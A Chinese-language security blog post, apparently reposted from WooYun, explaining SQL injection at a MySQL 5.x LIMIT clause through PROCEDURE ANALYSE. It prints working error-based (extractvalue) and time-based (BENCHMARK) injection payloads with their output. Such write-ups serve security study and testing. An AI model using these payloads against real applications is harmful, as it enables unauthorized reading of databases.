2015-01-24 22:41:33

[zone]MySQL 在 LIMIT 条件后注入

FROM:http://zone.wooyun.org/content/18220

from:https://rateip.com/blog/sql-injections-in-mysql-limit-clause/

此方法适用于MySQL 5.x中,在limit语句后面的注入

例如:

SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT injection_point
上面的语句包含了ORDER BY,MySQL当中UNION语句不能在ORDER BY的后面,否则利用UNION很容易就可以读取数据了,看看在MySQL 5中的SELECT语法:
SELECT 
    [ALL | DISTINCT | DISTINCTROW ] 
      [HIGH_PRIORITY] 
      [STRAIGHT_JOIN] 
      [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT] 
      [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS] 
    select_expr [, select_expr ...] 
    [FROM table_references 
    [WHERE where_condition] 
    [GROUP BY {col_name | expr | position} 
      [ASC | DESC], ... [WITH ROLLUP]] 
    [HAVING where_condition] 
    [ORDER BY {col_name | expr | position} 
      [ASC | DESC], ...] 
    [LIMIT {[offset,] row_count | row_count OFFSET offset}] 
    [PROCEDURE procedure_name(argument_list)] 
    [INTO OUTFILE 'file_name' export_options 
      | INTO DUMPFILE 'file_name' 
      | INTO var_name [, var_name]] 
    [FOR UPDATE | LOCK IN SHARE MODE]]

在LIMIT后面可以跟两个函数,PROCEDURE 和 INTO,INTO除非有写入shell的权限,否则是无法利用的,那么使用PROCEDURE函数能否注入呢?

Let’s give it a try:

mysql> SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1); 
ERROR 1386 (HY000): Can't use ORDER clause with this procedure

ANALYSE可以有两个参数:

mysql> SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1,1);
ERROR 1386 (HY000): Can't use ORDER clause with this procedure

看起来并不是很好,继续尝试:

mysql> SELECT field from table where id > 0 order by id LIMIT 1,1 procedure analyse((select IF(MID(version(),1,1) LIKE 5, sleep(5),1)),1);
但是立即返回了一个错误信息:
ERROR 1108 (HY000): Incorrect parameters to procedure 'analyse'
sleep函数肯定没有执行,但是最终我还是找到了可以攻击的方式:
mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); 
ERROR 1105 (HY000): XPATH syntax error: ':5.5.41-0ubuntu0.14.04.1'

如果不支持报错注入的话,还可以基于时间注入:

SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
直接使用sleep不行,需要用BENCHMARK代替。 PS:测试成功,无图无真相: 1
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